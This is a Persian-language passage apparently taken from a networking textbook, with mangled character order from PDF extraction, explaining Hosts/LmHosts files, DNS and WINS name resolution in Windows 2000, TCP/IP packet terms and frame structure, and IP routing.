ت   ي برای دست ک از کاربران می توانند    ین راستا هر    یدر ا . آن است  الای دس انس ب ه هر م  يابی به منابعی با فرک ه ضرورت   ي ابی ، ب زان ک
د   ینمادر جدول فوق ثبت      entryدارد ،    ام سازی جداول ا      . ن وده و در موارد      ين زم ی کی از چالش های اصلی در ا          یستا ،   ی بهنگ ه ب که  ین

ام سازی جداول ا         یر  ييتغ" اد و آدرس های فوق متناوبا     ی مپ شده ، ز     IPتعداد آدرس های     د ، بهنگ د          ی ابن سائل خاص خود را خواه ستا م
  . داشت 

ر ی ژگی های زی دارای و ل فوق،یفا. زبان است ي مپ شده به اسامی مIPشامل آدرس های ل متنی و یک فای ،  ل فوق یفا .  Hosts  ليفا
     : است 

ده در آدرس  یک سرو ین حالت ، امکان مراجعه به یدر ا. مشابهی نسبت داد    IP آدرس    زبان را به  ين نام م  یمی توان چند   • س دهن
IP : 167.91.45.121 ق نام حوزهی از طر  Tehran.Citys.Com ستعار  ای و د داشت    Tehran نام م ن ی در ا.  وجود خواه

د  ی ، استفاده نما Domain در مقابل نام Tehranس دهنده از نام مستعار      یراستا ، کاربران می توانند بمنظور مراجعه به سرو         ن
 .  

رم ،          ی در فا  Entryهر   • زرگ و کوچک      ل فوق ، با توجه به نوع پلات ف ه حروف ب سبت ب ود      ن د ب ا   در . حساس خواه رابطه ب
    .ت فوق ، وجود نخواهد داشت ي بر روی آنها نصب شده است ، حساسNTا ی و ٢٠٠٠ندوز یوترهائی که ويکامپ

 در ابتدا Lmhostsل یبخشی از فا.  است NetBIOS مپ شده به نام IPل متنی وشامل آدرس یک فایل فوق ، یفا.   LmHostsل يفا
  . ندی می گوNetBIOS name Cache" وارد حافظه شده و به آن اصطلاحا
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 ٤٥    صفحه

  

Dynamic IP mapping  
  

تا ، جداول پو  ی در ا.ک آنان است ي، بهنگام سازی اتومات  )  مپ شده    IPره سازی   يمسئول ذخ ( ا  یت جداول پو  ین مز یمهمتر ا از دو ی ن راس
تفاده می نما  یسرو د  یس اس س یسرو    ) .WINS(Windows Internet Neame Serviceو ) DNS(Domain Name System: ن

  ) .کربندی دستی ياز به پيبدون ن(  انجام خواهند داد Lmhosts و Hostsل های یر فايات مشابه ای را نظي عملWINS و DNSدهنده 

  

DNS(Domain Name System (  
  

DNS     شبکه های مبتنی بر . وترها و منابع شبکه است  ي ، روشی بمنظور نامگذاری کامپTCP/IP  از بانک اطلاعاتی اسامی ، DNS ، 
ه   User friendlyق اسامی  یس ها از طریوترها و سرويافتن کامپیبمنظور  وط ب تفاده می نما  Domain names مرب د ی ، اس که  يزمان. ن

ده  ید، سرو  یمی نما ) مشخص  (  را در برنامه ای وارد       Domainک  یکاربری نام    ه             DNS  س دهن ورد نظر را ب ام م  مربوطه ،    IP ، ن
map     رد ی است          ، DNSستم نامگذاری    ي ساختار س  . خواهد ک سله مراتب د     بصورت سل تفاده از س      ي ن ترت ی ، ب وق،در   ي ب امکان اس ستم ف

ی نظ   ای بزرگ بکه ه د    یر ايش د ش ود خواه ت وج تفاده از  . نترن ا اس ور ا  يک سیب ی بمنظ سله مراتب امی  یستم سل اد اس  ، Domainج
د ، دارای  یماره می ن ي مربوطه را ذخ  IP و معادل    Domain اسامی    وترهائی که يکامپ رای صرفا  mappingن ه   ي ناح"  لازم ب وط ب ه مرب

ند  ی باش ود م وع از کامپیا. خ طلاحاين ن ا اص رو" وتره ده ی، س رفاي ، نامDNSس دهن ده و ص رای " ده ش ای لازم ب ردازش ه پ
د داد      يدان عمليوترهائی که در م  يکامپ ام خواهن ان می باشد را انج س ید ، سرو ی ر نمايي طه تغ ه مربوي  در ناحmappingکه  يزمان. اتی آن

  . ات بهنگام سازی را انجام خواهند داد يک عملي ، بصورت اتومات٢٠٠٠ندوز ی مبتنی بر وDNSدهندگان 

  

WINS(Windows Internet Name Service(    
  

WINS   ، رای ثبت   یک بانک اطلاعاتی توزی ه م     NetBIOSای اسامی  ی  پو mappingعی را ب تفاده شده در شبکه ، ارائ . د ی ی نما اس
WINS    اسامی ، NetBIOS      را به آدرس های IP  ه اسامی      ی مپ و ا د آورد ک راهم خواه ا ،    NetBIOSن امکان را ف  در طول روتره

  . قابل استفاده باشند 

  

Name Resoulation٢٠٠٠ندوز ي در و   
  

Name Resoulationک آدرس یا به ی و  ک نام برطرفیندی است که بر اساس آن مشکل ی ، فرآIP که کاربری يزمان.  مپ می گردد
برنامه های .  استNetBIOSک نام یا یزبان و يک مید که نام فوق ید، برنامه مشخص می نمایک برنامه ، وارد می نما    یک نام را در     ی

د  ی ، از فرآ٢٠٠٠ندوز یفعلی در و تفاده می نما  host name resolutionن د      ی ، اس ه های ق ی برخی از برنام د ول ر نظ ین ه  ي می ت ر برنام
ان از اسامی    ٩٨ , ٩۵ندوز یا وی و  NTندوز  یهائی که مختص و    د ، همچن تفاده می نما  NetBIOS طراحی شده ان د ی اس که يدر صورت . ن

که از يدر صورت.  قادر به برقراری ارتباط با مقصد مورد نظر خود نخواهد بود  متقاضی ت همراه نگردد ، برنامهيند فوق ، با موفق یفرآ
  . از نخواهد بود ي ن name resolutionد ، ياستفاده می نمائ IPک آدرس ی

  

   Host name Resolutionند يفرآ
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 ٤٦    صفحه

ان  ياسامی م   IP  آدرس تفاده از فا   )Host Names( زب ا اس ده  ی سرو  ا بکمک ی  و Hostل ی  ، ب د شد     DNSس دهن .  ، مشخص خواه
  . ر انجام خواهد شد یند فوق ، بصورت زیفرآ

  . د ی ، وارد می نما Bزبان يوتر مي نام کامپ  بهمراه FTPر يرا نظ دستوری Aوتر يکامپ •
  .دیزبان محلی مطابقت می نمايا نام مشخص شده با نام مید که آی ، بررسی می نماAوتر يکامپ •
ام م     يدر صورت  • ا ن ام مشخص شده ب ی مطابقت ننما   يکه ن ان محل امپ ی زب ان خود را   يل می  ، فاAوتر يد ، ک    )Hosts File(زبان

ه  IPدا گردد ، آدرس     يزبان پ يوتر م يکه نام کامپ  يدر صورت . دی ، جستجو می نما    Bزبان  يوتر م يمنظور آگاهی از کامپ   ب  مپ شده ب
    .وتر مورد نظر فراهم خواهد شد ينه ارتباط با کامپي ، زمIP آدرس  پس از مشخص شدن. آن ، برگردانده خواهد شد 

رای سرو  queryک ی د ، در ادامه یدا ننمايرا پ Bوتر يزبان کامپي ، نام م   Aوتر  ياگر کامپ  • ده  ی ب ردد   DNSس دهن .  ارسال می گ
د شد         IPدا گردد ، آدرس     يزبان پ يکه نام م  يدر صورت  ه آن مشخص خواه  ، IP پس از مشخص شدن آدرس     . نسبت داده شده ب

    .وتر مورد نظر فراهم خواهد شد ينه ارتباط با کامپيزم
ورت • امپيدرص ام ک ايوتر ميکه ن روزب ده ین در س ردد ، وي پDNSس دهن دوز یدا نگ امی  Cache ، ٢٠٠٠ن ه اس وط ب  مرب

NetBIOSبا٢٠٠٠ندوز ین علت است که وین امر بدیا.د ی را بررسی می نما ،    NetBIOS name    ه  ، host nameبمنزل
  . دیرفتار می نما

ردد     WINSس دهنده   ی برای سرو  queryک  ی ،    زبان مورد نظر نباشد   ي شامل نام م     فوق ،  Cacheکه  يدر صورت  •  ارسال می گ
 .  

  .بر روی شبکه ارسال می گردد  Broadcastام يک پی قادر به حل مشکل نام نباشد ، WINSس دهنده یکه سرويدر صورت •
  . ، بررسی خواهد شد )NetBIOS( زباني بمنظور نام مLmhostsل یام منتشر شده پاسخ ندهد ، فايزبانی به پيکه ميدر صورت •

  

   NetBIOS  Name Resolutionند يفرآ
  

راری   ٢٠٠٠ندوز  یو.  کار نخواهند کرد     TCP/IPک شبکه مبتنی بر     ی بر روی     NetBIOSش فرض ، اسامی     يبصورت پ   ، امکان برق
ر            ارتباط ی ب رای سرو     TCP/IP در شبکه های مبتن دگان   يس گ ی را ب راهم می نما  NetBTق پروتکل  ی  ، از طر  NetBIOSرن . د ی  ، ف

NetBTکلمات   ز ، ا NetBIOS over TCP/IP    اس شده است ه های         .  اقتب رای برنام اط را ب راری ارتب وق ، امکان برق پروتکل ف
ر   ی ب ط  NetBIOSمبتن ام   قی و از طرTCP/IP  ، توس ه ن ه NetBIOS ترجم ی نما IPک آدرس ی ب راهم م ورت. د ی ، ف که يدرص

  : ر خواهد بود ی بصورت ز  ، NetBIOS Name  Resolution ند ی، فرآ باشد   شده کربندیي برای استفاده ، پWINSس دهنده یسرو

  .د ی می نما  ، واردBوتر ي کامپNetBIOS نام   را بهمراهNet useر ي ، دستوری نظAوتر يکامپ •
  . ، موجود است  NetBIOS اسامی  Cacheا نام مشخص شده در ی که آ دی ، بررسی می نماAوتر يکامپ •
  .  ارسال می داردWINSس دهنده ی سرو  را برای queryک ی Aوتر ي نباشد ، کامپکه نام موجوديدر صورت •
  . د ی در شبکه ، استفاده می نماBroadcast از Aوتر يافتن نام نباشد ، کامپی قادر به WINSس دهنده یکه سرويدر صورت •
  .دی را بررسی می نماLmhostsل ی ، فاAوتر ي ، کامپ  ، قادر به حل مشکل نام نگرددBroadcast  کهيدر صورت •
وق ،NetBIOSکه روش های يدر صورت  • د    ف ام نگردن ه حل مشکل ن ادر ب امپ   ق  را بررسی می Hostsل ی ، فا Aوتر ي ، ک

  .دینما
  . د ی ارسال می نماDNSس دهنده یک سروی برای queryک ی ، Aوتر يت ، کامپیدر نها •

  

  

  . م پرداخت ياهند انتقال اطلاعات خوین بخش به بررسی نحوه فرآیدر ا

  
TCP/IP       ام          ، بمنظور ارسال داده بر روی شبکه ا ن سته های اطلاعاتی     ( Packets آنها را به بخش های کوچکتری ب س ) ب م می  ي، تق

اوتی  . دینما ای متف ا واژه ه ان ب ا آن رتبط ب ای م ر اساس پروتکل ه اتی ، ب ای اطلاع سته ه رددیاز ب س. اد می گ ای يتق سته ه ه ب م داده ب
ان ز               . اتی و ضروری است     ي ح  تی امری اطلاعا الائی از اطلاعات در شبکه ، مدت زم د کش    ادیی ارسال حجم ب ن يد و هم ي طول خواه

ا     يدر زمان.  می گردد امر ، باعث کند شدن شبکه     ردد ، س ا می گ وترهای موجود در   ير کامپیکه حجم بالائی از اطلاعات در شبکه جابج
ود شبکه قادر به ارسال اطلاعات نخواهند    التی ، اگر در فرآ  يدر چن .  ب روز نما     ین ح ال اطلاعات اشکالی ب د انتق امی  ی د ، می با ی ن ست تم
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 ٤٧    صفحه

ام و                 . ارسال شوند " اطلاعات مجددا  سرعت انج ا ب ال آنه د ، انتق ر روی شبکه ارسال گردن در مقابل ، اگر بسته های اطلاعاتی کوچک ب
ک از بسته های اطلاعاتی با مشکل مواجه شوند ،      یکه هر   يحالتی در صورت  ن  يدر چن . ادی ، اشغال نخواهد شد      یط انتقال به مدت ز    يمح

  ) . در مقابل ارسال تمام اطلاعات . ( ارسال می گردد"  که با مشکل مواجه شده است ، مجددا  بسته اطلاعاتی "صرفا

  
رف یه ایک بسته اطلاعاتی به لایکه يزمان ردد     ينت ر   ) Network interface layer( س شبکه ارسال می گ ه آن ف  می    )frame( م ی، ب
ال اطلاعات در لا  ی  در جر ک دارای عملکرد خاص خود ی هر   متفاوتی که م ، از بخش هایی فر .ند  یگو رف یه ای ان انتق س شبکه می   ينت

   .  ل شده استيباشند، تشک

  
ان در      و وتر مبداء يتی در کامپ  سازماندهی داده درون بسته های اطلاعا     ( ند ارسال اطلاعات، شامل مراحل متعددی است        یفرآ بهم بستن آن
ردد   یا" ه مجددا  ي  بگونه ای که شکل اول       وتر مقصد يکامپ اد گ وثر در کامپ         TCP/IPه از پروتکل     ی هر لا  ) . ج شی م وترهای  ي ، دارای نق

  .مبداء و مقصد است 

  

   ) Packets( واژگان بسته های اطلاعاتی 

  
رده می شود                ) packet( عاتی   از بسته اطلا   TCP/IPه های   یک از لا  یدر هر    ام ب اوتی ن ا اسامی متف ا حرکت       . ب ان ب سته   ی همزم ک ب

ه لا   یک لا یاطلاعاتی از    ه آن               ی  ، هر     TCP/IPگر در پروتکل      یه د ی ه ب ک از پروتکل های مربوطه ، اطلاعات اختصاصی خود را ب
ردد  ی گر ، یامی فنی داز بسته اطلاعاتی بهمراه اطلاعات اضافه شده به آن ، با اس       . ندیاضافه می نما    ( Segment: ن اسامی  ی ا. اد می گ

    . ، می باشند  )م یفر ( frameو ) تاگرام ید ( datagram، ) ام يپ ( message، ) سگمنت 

وده و شامل    TCPسگمنت واحد انتقال اطلاعات در   . سگمنت • ه توسط    TCP headerک ی  ب  ، Application data است ک
  .همراهی شده است 

 Protocolک یام شامل يپ.  است ARPو . ICMP,UDP,IGMPر يام ، واحد انتقال اطلاعات در پروتکل هائی نظي پ  .اميپ •
header بوده که توسط Application ا ی و protocol data همراهی شده است ،  .  

اگراميد • ال اطلاعات در سطح لاید . ت د انتق اگرام ، واح امل ید.  است IPه یت اگرام ش ه توسط لاIP headerک یت ه ی است ک
transportشده است   ، همراهی .  

ه در لا   headerک  ی شامل    میفر. س شبکه است    ينترفیه ا یم ، واحد انتقال اطلاعات در سطح لا       یفر . ميفر •  networkه ی  است ک
  .  شده است   ، همراهیIPه یبه آن اضافه شده است که توسط داده لا

  

  م يک فرياجزاء 

  
  . است trailer و header , data: شامل سه بخش اساسی ) ه شبکه یک بسته اطلاعاتی در سطح لایی برای اصطلاح( م یک فری

  

Header . ر می باشد ین بخش شامل موارد زیاطلاعات موجود در ا :  
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 ٤٨    صفحه

    ک بسته اطلاعاتیی مبنی بر ارسال  گنال هشداردهندهيک سی •
  آدرس مبداء  •
  آدرس مقصد  •

Data .  رار می گ                 ن بخش ، اطلا   یدر ا ه ، ق سته اطلاعاتی       ی ا. ردي عات واقعی ارسال شده توسط برنام دازه های       ن بخش از ب  دارای ان
ا از ن           Dataبخش   ) . م شده توسط شبکه دارد      يت اندازه تنظ  یبستگی به محدود   (  متفاوتی است  ر شبکه ه و با  يم ک ي ، در اکث ار    ی ل ا چه ت ت

و با يم کيک و ن  یمعادل  " بایترنت ، اندازه داده تقر    در شبکه های ا   . ت را می تواند شامل شود     یلو با يک ه   . ت است  ی ل ا توجه ب ر   ی ا ب نکه اکث
ام         یت می باشند ،می با    یلو با يش از چهار ک   ي، ب  هيمات داده های اول   يتنظ ا ن سته های اطلاعاتی    " ست داده به بخش های کوچکتری ب " ( ب

packet ( ادی در طول شبکه منتقل خواهند شدی بالا ، بسته های اطلاعاتی زتيل با ظرفیک فایدر زمان انتقال . م گرددي، تقس .  

Trailer.  ات  یمحتوtrailer     ستق اط م تفاده شده در لا          ي ، ارتب ه پروتکل اس رف یه ا ی م ب شامل بخشی    "  ، معمولا   trailer. س شبکه دارد     ينت
ه  وده ک اء ب ود ي، نام) CRC(Cyclical redundancy checkبمنظور بررسی خط ی ش ه توسط CRC.ده م ددی است ک ک ی ، ع

داء          یمحاسبه ر  ی در مب تنده ( اضی بر روی بسته اطلاعت ردد    دي  ، تول )فرس ه مقصد خود می رسد ،         يزمان.  می گ سته اطلاعاتی ب که ب
سته اطلاع    ی کسان باشد ، نشاندهنده صحت ارسال        ی بدست آمده ،      جیکه نتا يدر صورت . محاسبه مربوطه انجام خواهد شد    " مجددا اتی ک ب

د   یجه محاسبه شده در مبداء ، مغا      يکه ماحصل محاسبه در مقصد با نت      يدر صورت . خواهد بود    ه     یرت داشته باشد ، ب ود ک د ب وم خواه ن مفه
  . داده را ارسال خواهد کرد " وتز مبداء ، مجدداين حالتی ، کامپيدر چن. ر نموده است ييداده در زمان انتقال ، تغ

  

  ) وتر مقصد يوتر مبداء تا کامپي کامپاز( ان انتقال اطلاعات يجر

  
امپ  يک کامپیبسته های اطلاعاتی ارسال شده از      رای ک دد پروتکل    ی ن لايگر از ب  یوتر ديوتر ب رد    TCP/IPه های متع د ک ور خواهن .  عب

وازات رس ه یدن يبم اتی ب سته اطلاع ه آن اضافه خواهن  هیک لایک ب ود در آن ، اطلاعات خاصی را ب ای موج رد  ، پروتکل ه . د ک
وده    توسط هر پروتکل ، شامل اطلاعاتی در رابطه با    )مه شده   يضم( اطلاعات اضافه شده     ه    بررسی خطاء ب ده ي  ، نامChecksum ک

 توسط پروتکل مربوطه ، در پروتکل           header بمنظور بررسی صحت ارسال اطلاعات اضافه شده در                 ، Checksumاز  . می شود 
م و کاست در اخت        یات می با  اطلاع( مقصد استفاده می گردد      رار بگ       ي ست بی ک د   يار پروتکل مقصد ق ه  يفراموش نکن   ) .رن  ،  CRC  م ک

ال  سته را بطور کامل بررسی می نمایصحت انتق ا در هر لا. دیک ب ده توسط پروتکل ه وان داده توسط یاطلاعات اضافه ش ه ، بعن
اظر  ( ه مربوطه    ی  بسته اطلاعاتی به مقصد مورد نظر می رسد ، لا          کهيزمان. ، کپسوله خواهند شد   ) ن  یيپا( ن  یریه ز یپروتکل های لا   منت

بسته اطلاعاتی در ادامه بسمت پروتکل  .  بسته اطلاعاتی بعنوان داده برخورد خواهد کرد   را برداشته و با باقی headerک بخش از    ی) 
ه عملکرد هر    .ار پروتکل مربوطه قرار خواهد گرفت    يه بالاتر ارسال و دراخت    یهای موجود در لا    ا را در فرآ ی ک از لای  در ادام د  یه ه ن

  .م نموديوتر مبداء و مقصد دنبال خواهيه کامپین موضوع را از زاویانتقال اطلاعات بررسی و ا

  

  

   Applicationه يلا
  

دار دهی اول  وتر مي ، پردازش را در کامپ     FTPر  يک برنامه نظ  ی.  آغاز می گردد     applicationه  یند انتقال اطلاعات از لا    یفرآ ه ي بداء مق
امپ          (دیمی نما  ه در ک شخ      يآماده نمودن داده به فرمتی که برنام ه ت ادر ب امپ   ) .  آن باشد  صيوتر مقصد ، ق ه موجود در ک داء ،  يبرنام وتر مب

  . ند را برعهده خواهد داشت یکنترل تمامی فرآ
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   Transportه يلا
  

ورد نظر    .  است UDP و  TCPه شامل پروتکل های     ین لا یا. می گردد  منتقل   transportه  ی ، داده به لا    Applicationه  یاز لا  ه م برنام
رای    Checksumدر هر دو حالت       ) . UDPا  ی TCP( دیرا مشخص می نما   " حمل"نوع پروتکل    د شد      UDP و   TCP ب   .  اضافه خواه
  : ، انتخاب گردد TCPکه پروتکل يدر صورت

  .  منتقل شده ، اضافه خواهد شدبه هر سگمنت ) Sequence number( ک دنباله عددی ی  •
  . ، به هر سگمنت اضافه می شود "  گرا-اتصال" ک ارتباط ی برای Acknowledgment   به اطلاعات مربوط •
  .  در رابطه با برنامه های مبداء و مقصد ، اضافه خواهد شدTCPشماره پورت  •

  :  ، انتخاب گردد UDPکه پروتکل يدر صورت

  . با برنامه های مبداء و مقصد ، اضافه خواهد شد در رابطه UDPشماره پورت  •

  

  نترنت يه ايلا

  
رار داده می شود      " نترنت   یا"ه  ی ار لا ي د ، بسته اطلاعاتی در اخت     یاضافه گرد " حمل  "نکه اطلاعات   یپس از ا   ، اطلاعات    هی ن لا ی در ا . ق

  : اضافه می گردد  headerر به یز

   مبداء IPآدرس  •
   مقصد IPآدرس  •
  " مل ح"نوع پروتکل  •
   checksumمقدار  •
  ) TTL(Time to Liveاطلاعات  •

ه   IP بر طرف نمودن آدرس های  تينترنت مسئولیه ایعلاوه بر اطلاعات فوق ، لا   ده دارد   ي  را ن MACک آدرس ی  مقصد ب ر عه . ز ب
وق ، است   ي ، مسئول انجام عملARPپروتکل   ه  MACآدرس . ات ف ه     header ب سته اطلاعاتی اضافه و در ادام سته اطلاعاتی   ب  در  ب

  . ، قرار داده می شود" س شبکه ينترفیا" ه یار لاياخت

  

  " س شبکه ينترفيا"ه يلا

  
  :ر را به آن اضافه خواهد کرد ی ، اطلاعات زIPه یک بسته اطلاعاتی از لایافت یه فوق ، پس از دریلا

  . د ی را مشخص می نما"م یفر"ک یت ها است که ابتدای یدنباله ای از با) . مقدمه  ( Preambleک ی •
ر     م اضافه و از آن بمنظور صحت      یاضی است که به انتهای فر     یک محاسبه ر  ی ماحصل     .CRCک  ی • تفاده می     ی ارسال ف م ، اس

  . گردد

  .  بر روی شبکه ارسال خواهند شد م هایس شبکه ، در ادامه فرينترفیه ایم ها در لایپس ازافزودن اطلاعات مورد نظر به فر

  

  وتر مقصد يامپات در کيعمل
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. دی محاسبه می نما"  را مجدداCRC را حذف و مقدار Preambleس شبکه ، ينترفیه ایوتر مقصد می رسند ، لا  يم ها به کامپ   یکه فر يزمان

داء ،               يدر صورت  ه آدرس         یکه مقدار بدست آمده با مقدار محاسبه شده در مب ر          MACکسان باشد در ادام ر روی ف   م،ی مقصد ، موجود ب
ر   ی وتر مقصد مطابقت نما   ي با کامپ  MACا آدرس   ی و     Broadcastک آدرس   ی ،   MACکه آدرس   يدر صورت .  گردد   بررسی می  م ید ، ف

ا   Checksum"  ، مجددا IPه ی در لا. ده گرفته می شود  یم نادینصورت فریر ايدر غ. ، ارسال خواهد شد" نترنت یا"ه  یبه لا   محاسبه و ب
وده است   يي ر تغينان حاصل گردد که بسته اطلاعاتی در طول مس  ين اطمیسه تا ایمقدار محاسبه شده قبل از انتقال ، مقا    ه ،  . ر ننم در ادام

IP     قرار می دهد     " حمل"ار پروتکل   ي بسته اطلاعاتی را در اخت ، )TCP  ا  یUDP . (  وع پروتکل    يم گيبمنظور تصم ا ن ری در رابطه ب
افت شده  ی درTCPکه بسته اطلاعاتی از ي در صورت ،" حمل"ه یدر لا. دد استفاده می گرIP header، از اطلاعات موجود در " حمل "

ه عددی     اتی بررسی و     ) sequence number( باشد ، دنبال سته اطلاع ر روی ب رای  acknowledgementک ی ب امپTCP ب وتر ي ک
ه مربوطه          ب    موجود در بسته اطلاعاتی استفاده تا      TCPدر ادامه از اطلاعات پورت      . مبداء ارسال می گردد      رای برنام سته اطلاعاتی ب

  . ، ارسال گرددApplicationه یدر لا

  
تفاده   UDPد ، از اطلاعات پورت یافت نمایدر" نترنتیا"ه ی بسته اطلاعاتی را از لا    UDPکه  يدر صورت    موجود در بسته اطلاعاتی اس

امپ    acknowledgementک یال  بدون ارس . ( د  ی ارسال نما  Applicationه  یتا آن را برای برنامه مربوطه در لا        رای ک داء  يب ) وتر مب
س از در . ط   یپ ات توس ت اطلاع د       Appliactionاف د ش ام خواه ا انج ا آنه اط ب روری در ارتب ای لازم و ض ردازش ه   . ، پ

  
  

  

  . م پرداخت ينگ داده خواهيروت ن بخش به بررسی یدر ا

وترهای ارسال  ي کامپ ن شبکه هائی ،يدر چن. ساده ای خواهد بود ات يک سگمنت است ، عملیشامل  " ان داده در شبکه ای که صرفا      یجر
امپ  MAC را بمنظور مشخص نمودن آدرس          Broadcastک درخواست   ی  کننده ،  رای آن              ي ک ه قصد ارسال اطلاعات ب وتر مقصدی ک

ند      یند ارسال اطلاعات در شبکه هائی که شامل چند        یفرآ .ند  یوجود دارد ، ارسال می نما      د  ن سگمنت می باش ود    ی، ب د ب . ن صورت نخواه
ائی ،     ين مح  يدر چن  . ده تر خواهد بود   يچيند انتقال اطلاعات بمراتب پ    ین سگمنت ، فرآ   یدر شبکه هائی شامل چند     رهای ي مس  TCP/IPط ه

  . د ی ری می نما يشگي ن خصوص ، پ ی  در ا ر ضروریيوترهای موجود در شبکه ارائه و از ارتباطات غيمتعددی را بمنظور ارتباط کامپ 
ند  یک سگمنت یوترهای مبداء و مقصد در يگر است ، ممکن است کامپ     یکدین شبکه مرتبط با     یطی که شامل چند   يدرمح د . کسان نباش ن یب

ی   وتر مبداء ،يوتر مقصد نسبت به کامپيت کامپينان حاصل گردد که موقع  ين اطم یوتر مقصد بررسی تا ا    ي کامپ IP آدرس    منظور ،  (  محل
ر روی سگمنت د      ( ا از راه دور   یو  ) ک سگمنت   یبر روی    امپ يدر صورت . است   )گر  یموجود ب سگمنت  ( وتر مقصد در راه دور يکه ک

رای    IPه ین مواردی لايدر چن . م برای وی ارسال گردد      ي باشد ، داده نمی تواند مستق       )گرید ر ارسال می    ی  داده مورد نظر را ب ک روت
  .د یمی نما) فوروارد ( مورد نظر ، ارسال افتی را به مقصد یروتر، بسته اطلاعاتی در. د ینما

  

   IPنگ يروت

  

زرگ  ای ب بکه ه م TCP/IPش رتبط به ای م بکه ه وان ش ا عن ان ب ه از آن ای ی ) Internetworks(  ک ه بخش ه ردد ، خود ب ( اد می گ
س  ) سگمنت   د م     يکوچکتری تق ا بتوانن ه اطلاعات و تراف      ي م ت اهش نما      ی ک موجود در     ي زان مبادل  ،  Internetwork. د  ن یک سگمنت را ک

د      ه      یشبکه ای مشتمل بر چن ا     ن سگمنت است ک ردد     یکد ي ب   توسط روتره رتبط می گ ر  ين و در ع ياول . گر م ه  ين وظین حال مهمت ک ی ف
ه        ی  را از    IP  هی روترها ، بسته های اطلاعاتی لا     . گر است   یکدی با    کییزين سگمنت ف  یا چند یو   روتر،ارتباط دو  ک سگمنت در شبکه ب

د  . ده می شود ينگ نامي، روت ) IPنگ بسته های   یفوروارد( ند فوق   یفرآ. ند  یر ارسال می نما   گیسگمنت د  ا دو و چن ن سگمنت را  یروتره
  .ندیگر را فراهم می نمایک سگمنت به سگمنت دی بسته های اطلاعاتی از  )ارسال ( گر متصل و امکان حرکت یديب

  

  ع بسته های اطلاعاتی يتوز
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رد   یا دو نوع توزیک و یت مقصد خود ، حداقل يروارد شده ، با توجه به ماه   بسته های اطلاعاتی فو    د ک ال خواهن ن رابطه  ی در ا. ع را دنب

  : م ، استفاده می گردد ير مستقيا غیم و ي مستق عیع و با نام های توزیاز دو نوع توز

ده،  ياز روش فوق ، زمانی استفاده می گردد که کامپ    . م  ي مستق  عیتوز • سته اطلاعاتی  ی  وتر ارسال کنن امپ   ک ب رای ک وتری ي را ب
ک سگمنت  یرنده بر روی يوترهای فرستنده و گي کامپ کییزيت فيموقع( د که بر روی همان سگمنت قرار دارد      یارسال می نما  

رای لا   یک فری را بر اساس  وتر مورد نظر بسته اطلاعاتیي کامپ ن مواردی ،يدر چن ) . کسان است   ی دی و آن را ب  هی م قالب بن
وتر مقصد ، انجام خواهد ي کامپMACآدرس دهی بسته اطلاعاتی مربوطه ، بر اساس آدرس  . د  یس شبکه ارسال می نما    ينترفیا

  . شد 
امپ           . م  ير مستق يع غ یتوز • ه ک ردد ک رای      ياز روش فوق ، زمانی استفاده می گ سته اطلاعاتی را ب ده ، ب ر  ی وتر ارسال کنن ک روت

سته       ي کامپ  ن مواردی ،  يدر چن  ) .سته اطلاعاتی در همان سگمنت نمی باشد      مقصد نهائی ب  ( د  یفوروارد می نما   ورد نظر ب وتر م
سته اطلاعاتی    . د ی س شبکه ارسال می نما   ينترفیه ایم قالب بندی و آن را برای لایک فری را بر اساس      اطلاعاتی آدرس دهی ب

  . روتر، انجام خواهد شد MACمربوطه ، بر اساس آدرس 

  

  نگ يجدول روت

  
ن ينگ برای ارسال داده ب  ي از جداول روت    ک بسته اطلاعاتی فوروارد گردد ، روترها      یست  یمنظور مشخص نمودن ، مقصدی که می با       ب

د یسگمنت های شبکه استفاده می نما       ا              ي نگ ، در حافظه ذخ      يجدول روت  . ن داری اطلاعات ضروری در خصوص س ر یره و مسئول نگه
اهی از     ين اطلاعات ضروری را برای هر م ينگ ، همچنيجداول روت.   زبانان استي و مIPشبکه های مبتنی بر   ی بمنظور آگ ان محل زب
  .ند یزبانان را دور، ارائه می نماي و م ر شبکه هاینحوه ارتباط با با سا

وق در خصوص    يس. نگ را نگهداری کرديک جدول روتی ، می توان   IPک شبکه مبتنی بر     یوتر موجود بر روی     يبرای هر کامپ   است ف
  . نگ استفاده می گردد يش فرض بمنظور نگهداری جدول روتيک روتر پی   و از بکه های بزرگ عملی نبودهش

ردد             . ا باشند   یا از نوع پو   یستا و   ینگ می توانند بصورت ا    يجداول روت  ان برمی گ ام سازی آن نگ  يجدول روت  . تفاوت عمده به نحوه بهنگ
ود    ين وضعی، جداول فوق شامل آخرنیبنابرا. ستا ، بصورت دستی بهنگام می گردد  یا د ب ل ، جداول   . ت موجود در شبکه نخواه در مقاب

  .ن اطلاعات موجود خواهند بود یک بهنگام و همواره شامل آخريا بصورت اتوماتینگ پويروت

  

  ن روترها يارسال اطلاعات ب

  
ه    . دد است  ن شبکه های متع  يار مهم در رابطه با ارسال اطلاعات ب     ي دارای نقشی بس     ، IPه  یلا ا ی اطلاعاتی مبادل سته ه ر اساس    ب  و ب

امپ    ينترنت کامپ یه ا ی مربوطه درلا  IPط موجود و با استفاده از       یشرا ر مربوطه ،  يا روترهای موجود در مس   ی وتر مقصد و   يوتر مبداء ، ک
  .پردازش های لازم بر روی آنان انجام خواهد شد

  
نگ يک جدول محلی روتی از اطلاعات موجود در  IPه یمنت های متفاوت شبکه ، لاوتر موجود در سگ   ين دو کامپ  يبمنظور ارسال داده ب   

امپ يافتن مسیدر جهت   تفاده می نما   ير مناسب دسترسی به ک شاوره اطلاعاتی   ( دی وتر مقصد اس ر مناسب ،  يافتن مس ی در صورت  ! ) . م
وروارد می      يسته های اطلاعاتی برای روتر پ     نصورت ب یر ا يدر غ . ر فوق ، ارسال خواهد شد     يبسته اطلاعاتی با استفاده ازمس     ش فرض ف

  .گردند 

  

  وتر مبداء ي در کامپIPه يعملکرد لا
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اتی نظ IPه یلا زودن اطلاع ر اف لاوه ب واره آدرس TTLر ي ، ع امپIP ، هم ی نما  ي ک افه م اتی اض سته اطلاع ه ب صد را ب در . دیوتر مق

ستق        یکه توز یموارد وع م تفاده و آدرس   ARP،از  م باشد    يع بسته های اطلاعاتی از ن امپ MAC اس ردد     ي ک ه آن اضافه گ در . وتر مقصد ب
ستق  ي  اطلاعات از نوع غ     عیکه توز یموارد تفاده و آدرس      ARPم باشد ، از      ير م ه می با       MAC اس ری ک سته های اطلاعاتی     ی  روت ست ب

  . فوروارد گردد، به آن اضافه خواهد شد برای آن

  

   در روتر  IPه يعملکرد لا

  
سته اطلاعاتی است                 IP  هی روتر، لا    بسته اطلاعاتی توسط    کیفت  ایپس از در   رای  .  مربوطه مسئول مشخص نمودن محل ارسال ب ب

    :ر دنبال خواهد شد ی ز ل به هدف فوق ، مراحلين

